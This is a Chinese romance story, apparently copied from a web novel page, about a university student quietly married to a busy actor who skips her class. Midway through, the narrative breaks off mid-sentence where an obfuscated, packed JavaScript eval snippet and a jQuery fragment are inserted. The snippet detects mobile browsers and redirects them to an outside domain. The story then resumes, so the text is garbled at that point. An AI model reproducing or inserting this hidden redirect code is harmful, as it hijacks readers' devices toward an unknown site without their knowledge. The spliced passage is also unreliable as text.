那天上午的文化经济市场分析课上，谢安琪坐在靠窗第三排，位置不算特别，却正好能看清讲台，但她不太专注听讲。原因很简单，前排靠中间那个座位空着，而那原本是郑禹胜的名字，同班的同学对这位“挂名学生”早已议论多次。
“你说他是不是根本不会来？”
“课程表挂名也太明显了吧，偶像读大学都是这么敷衍的吗？”
“我不是粉丝，但希望他别再选这种冷门课，课题组被他抽走一个名额。”
谢安琪没参与，她从来不争辩这些。如果有人问起，她就装作没听懂韩语，笑一笑，继续看PPT，她在这堂课上，唯一的执念，就是不去看那个空位太久，因为她怕眼神里藏不住东西，下课后，几个女生一起走出教学楼。
“他真的太不认真了，完全不尊重我们这种真来上课的人。”
“听说他去年也是这样选课的，来一两次，老师也睁一只眼闭一只眼。”
“你见过他真人没？”
“拍摄路透看过，他本人好像还挺高的。”
“你喜欢他？”
“以前喜欢过一阵，现在也就那样了吧。”
谢安琪走在她们后面，没有插话，她听见这些声音像轻盈的雨滴落进脑袋，却没真正沾湿她的情绪，她知道，郑禹胜不是那个会在课堂上和人合照、迎合流量的类型，他来选这门课，可能只是为了让自己像个普通人，只是，这种像，在现实面前总是太过脆弱。
“你今天听懂老师讲的模型图了吗？”一个朋友小跑几步追上她，谢安琪侧头看她，微笑摇头。
“那我们下午要不要组队做一下课题？”
“你来定主题吧。”
朋友看她神情平静，以为她心情好，打趣道：“你是不是因为昨天晚饭吃得好所以今天状态特别轻松？”
谢安琪愣了一下，轻轻一笑：“可能吧。”
这种对话像贴着她皮肤的雨水，轻快、浮浅、不会渗透，但她还是会应和，因为她知道这也是现实的一部分，而在这些现实里，郑禹胜并不属于任何话题中心，她也不属于那些流言里谁喜欢谁的简化剧本。
日子一天天过去，郑禹胜在课堂上仍旧挂名，但他的名字，已经被大多数同学当作不存在的编号跳过。
谢安琪却在某种程度上开始习惯这种他不在但在场的状态，像是他留在她房间里的发圈、牙刷、写了日程提醒的便签纸，她每天回家时仍会在门口脱鞋、顺手摆好两双拖鞋的位置。
有时还会不经意打开冰箱，看他有没有补充新口味的牛奶，他们之间的联系，并不靠频繁见面维系，而是靠每一个细节中，那种仿佛他一直在场的熟悉感。她甚至觉得，这种状态，比说一句我想你更稳定。
没人知道，郑禹胜曾经偷偷来学校看过谢安琪，那天他在拍摄空档请了一个小时假，戴着鸭舌帽和口罩，站在教学楼对面的咖啡车旁，他看见谢安琪从楼里出来，和朋友一起说笑，神情温柔。
郑禹胜没有走近，只是默默看了两分钟，她像是感知到了什么，朝他这边看了一眼，但她没认出来，他也没动，那天风很大，他回去拍戏时鼻尖是凉的，眼睛却发热，助理问他是不是感冒了，他笑着说：“不，我刚好路过春天。”
某天下午，谢安琪一个人在图书馆整理论文材料，隔壁桌的两个学妹在聊天：“你看这个账号发的拍摄花絮，郑禹胜在现场对工作人员特别有礼貌，好感又提升了。”
“我有个朋友的朋友是灯光助理，说他从不摆架子，还会主动帮忙搬设备。”
“可是他真的不来上课欸……”
“就当他是学校挂名广告吧，至少能吸点人气。”
谢安琪听着，手里的笔停顿了一下，她知道那是事实，郑禹胜已经变成许多人谈资中的他人故事，一个高不可攀的、神秘的、介于真实和幻想之间的人，她却是唯一一个每天能和他说晚饭要吃什么的人，这种落差感，有时比穿越时空还真实。
其实谢安琪曾经也是会偷偷点开评论区的人，看到别人说他不敬业，玩票性质，表面温柔其实冷淡，她会心跳加快，甚至下意识想去解释。
可最近她不再点开了，不是因为不在意，而是终于意识到，真实的相处远比解释别人不认识的他更重要，他喜欢喝温水，怕辣但又嘴馋，他工作时神情专注，洗澡前喜欢点香薰，他会记得她说这家泡菜汤不错，也会在深夜拍戏结束后悄悄带回来。
这些，外人永远不会知道，她也不需要别人知道，因为他是她的，不是他们的。
某天晚上，郑禹胜回到家时已经快十一点，谢安琪还醒着，坐在沙发上做报告，他换完衣服走过来，手里拿着冰镇好的苹果切片放在她面前，她接过，吃了一片，咬得很慢。
“你今天拍摄顺利吗？”
“顺利。”
“回来有点晚。”
“嗯，路上堵车。”
他沉默了一会儿，又补了一句：“其实我今天在你学校楼下看你了。”
谢安琪抬头看他，他笑得有点心虚：“你好像没认出来。”
她没说自己其实认出来了，只是没想戳穿，那种沉默的靠近，有时比直白更温柔。
“你来不是为了看我吧？”
谢安琪有点促狭地看他，“难道是为了路边那家炸鸡？”
“你要这么说，我就默认了。”
她笑了一下，低头继续写作业，郑禹胜坐在她对面，打开剧本，翻了一页又一页，其实没认真读，他们就在客厅的两侧，各自忙碌，又彼此陪伴，没有过多言语，也没有需要解释的场面，这是他们现在的方式，低调、隐秘、但牢固。
郑禹胜是个几乎不更新社交媒体的人，他的INS上只有工作片场、风景照，还有一两张模糊的自拍，从不晒合影，不转发热搜，不回应任何感情传闻，他的粉丝说：“哥哥超神秘，他肯定是专心事业的代表！”
“他一定是单身，怎么可能谈恋爱。”
谢安琪偶尔会看到这些评论，然后继续擦干头发，打开厨房灯，给他煮粥，她从不出现在他的社交平台，但却每天都出现在他的人生里，而这些没说出口的心跳，像夜里被窗帘拢住的月光，不用照亮世界，也足以温柔一整个房间。
一起上课的朋友最近似乎察觉了什么，下课后在便利店排队时，那人问：“你最近，是不是在交往？”谢安琪正在挑饮料，动作微微顿住：“为什么这么问？”
“你看起来气色很好，状态也挺安稳的。”
“安稳就等于有人谈恋爱？”
“也不是……就是那种生活里有另一种节奏的感觉。”
谢安琪笑了笑，没有回答，朋友倒是没再追问，只是轻声说：“如果是，就替你开心。”
她的心微微一跳，这个如果是，在她耳朵里听起来很温柔，像是小心翼翼给她一条逃生通道。
谢安琪不是没怀疑过，这样不张扬、甚至不明确的关系到底算不算在一起，但她也不是没意识到，他们之间的所有靠近，从不是为了证明给外人看。
有时候她在半夜醒来，摸到他还在身边，或者看到洗手台上他刚换下的毛巾，会忽然有种确认的冲动。
可每次都咽下了，不是因为不在乎，而是因为明白，有些情感不是问出来的，是活出来的。而他们，正在用每一天的生活，活出彼此的位置。
有一晚，谢安琪忍不住问了一句：“我们现在算是什么？” 那时他们刚一起把客厅打扫完，沙发上铺了干净的新毯子，桌上是刚做好的咖啡。
郑禹胜擦手，看着她：“你是说身份还是关系？”
“都说说？”他思索片刻，认真答，“身份上，我是你合法登记的丈夫。”
“关系上？”
“我每天回家都想见你，睡前也会看你一眼。” 谢安琪低头剥玉米，脸有点红，她知道，这已经是他能说的最浪漫的回答了。
…………
夜越来越凉，入秋之后，晚上的风总带着一丝干燥，谢安琪开始注意帮他放上换季的围巾，把客厅的小毯子翻出来，熨好铺在沙发上，她也开始为他留灯。每当他拍夜戏回来，她就会把餐桌上方那盏小吊灯开着，不太亮，但足够让人安心。
有一次他进门时轻声说：“你总是能记得这些。”
她耸肩，“灯是给谁开着不重要，重要的是有人愿意回来。”他看着她的背影，忽然觉得这个家的定义，可能就是：你在的地方有灯，我就想回来。
一次拍摄现场，有位老演员调侃他，“你最近拍完就走，连组里的庆功都不来。”
“以前你不是最能熬夜、最爱和导演聊构图的吗？”他只是笑笑。
“你到底还想不想演戏了？”
“想，”他顿了顿，“但现在想早点回家。”
那句话没有说出口的是，他终于有个可以叫家的地方了。以前他习惯游荡在酒店、剧组和飞机之间，从没在某个房间里真正留下东西，现在不一样了，冰箱里有他挑的牛奶，衣柜里有她放的干净衬衫。
他不是不再热爱电影，而是更明白了，生活，也值得被演好，城市的夜色被灯光和车辆划开，一条条道路在导航中变成发光的线，郑禹胜从片场出来，习惯性地打开导航，虽然路线早已烂熟于心。
他喜欢这种仪式感，拍完最后一条、换掉戏服、道别同事，然后一个人走向停车场，那段路总是很静，像是世界在等他归位，他不喜欢别人送，也不爱拼车，他喜欢一个人开回家，在电梯镜子里看自己蓬乱的发尾和脸上的疲倦，然后再打开那扇熟悉的门，看见厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801497|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房灯光下她正在收碗、晾衣服或者只是坐着发呆。
这种等待，不用说出口，有次他提前收工，下午五点就到了家，谢安琪还没回来，他脱下外套，在客厅坐了一会儿，翻她放在桌上的课程资料，谢安琪回来时有些惊讶：“你怎么回来了？”
“想你。”
她盯着他看了两秒，轻声说，“骗人。”
“没有。”
“你只是拍完了刚好早点回家。”
他没解释，只走过去接过她手里的包，那天晚上他们什么也没说，但第二天她在日历上画了颗心，写下“5:10 home”。他们不说想你，但总在彼此的日程里，预留一个空位。
某个夜晚，两人吃着泡面，谢安琪一边吹面一边问：“如果有一天你不演戏了呢？”
郑禹胜没有立刻回答，他喝了一口汤，问她：“你在问未来，还是在试探我现在的选择？”
“都不是，我只是……突然想到。”
“那我告诉你。”
他把筷子放下，看着她：“如果有一天我不演戏了，我可能会开一家面包店。”
“……啊？”
“每天早上四点起床揉面团，下午卖完就关门，晚饭回家吃。”
她愣住，眼角弯了，“你是不是提前写好了剧本？”
“没有。只是有时候想想，有你在的话，好像什么都可以。”
她继续开玩笑：“那你第一块面包会请谁吃？”
“你啊。”
“我不吃甜的。”
“那我做咸的。”
“我也不太吃咸的。”
“那我把它放进你便当盒，你就不能拒绝了。”
谢安琪笑得几乎要背过去，他也忍不住低头咬住嘴唇笑。厨房的小灯照在他们脸上，光影交错，像是时间在给这一刻留底片。他们其实都知道，未来的不可控有很多。可只要这一刻是真的，足以撑起很多日子。
……
深夜，谢安琪洗完澡出来，头发还湿着，郑禹胜坐在阳台，穿着家居服，手里握着一杯水，目光落在不远处的天际线，她走过去，从后面抱住他。
“今天拍得顺利吗？”他点点头，没说话，她贴在他背上，听着他的呼吸一点点平稳下来。
过了一会儿，她开口：“我今天梦到你了。”
“哪个版本？”
“年轻的你。”
他没回应，只轻轻转头，在她发间停留了一秒，他们都知道，这些梦境可能属于别的时间线，也可能只是心里的想象，但谢安琪愿意靠近，他愿意等，那些没说出口的心跳，就在这样的夜里，一下又一下地落下来。
夜里十一点半，郑禹胜拍完定妆照回来，谢安琪正坐在沙发上翻旧杂志。
“冰箱里没牛奶了。”她随口说了一句。
郑禹胜换了鞋，看她一眼：“想喝？”
“也不是必须……只是想起来了。”
他把钥匙从挂钩上取下：“那我们去走一圈？”
“现在？”
“现在夜风刚好。”
她愣了下，随即起身拿外套，没再多说什么，他们一起下楼，走进小区边的街巷，街灯昏黄，偶尔有猫窜过人行道，没人戴帽子、口罩，也没人认出他，这一刻，他们就是最普通的一对男女。
“你平常晚上会出来走路吗？”谢安琪问。
郑禹胜摇头：“以前不太会，除非拍戏走戏。”
“现在呢？”
“现在……如果有人一起走就不一样。”
她没回话，脚步却和他同步，便利店就在巷口，玻璃门后透出明亮的白光。他们走进去，她拿了盒牛奶和一袋巧克力，他挑了冷藏柜里的豆腐锅汤料。结账时，店员看了他们一眼，没认出来，只说了一句：“夜宵吃太辣会睡不着。”
他们笑着道谢，走出便利店时夜风拂过，两人肩膀几乎碰在一起。“你什么时候也变得这么会生活了？”她笑着看他提着袋子。“是你教的。”他说，她脚步慢了下来，拖着影子走在他身边。
“以前你会想象你三十岁是什么样子吗？”
“会，想过很多种。”
“比如？”
“比如一个人旅行，或者一个人拍戏，或者一个人过年。”
“都是一个人？”
“嗯。”她低头笑了一下。
“现在呢？”她问。
他没立刻答，只把手里的塑料袋换到另一边，轻轻牵住她的手，说道，“现在我不想一个人了。”他说。
夜风刚好经过，带起她头发的一角，她看着他，忽然觉得这一晚，比梦更不真实，但她愿意走下去。哪怕只有这一条街，这一个夜晚，这一个回答，但至少他在身边的时候，是一种情绪的真实存在。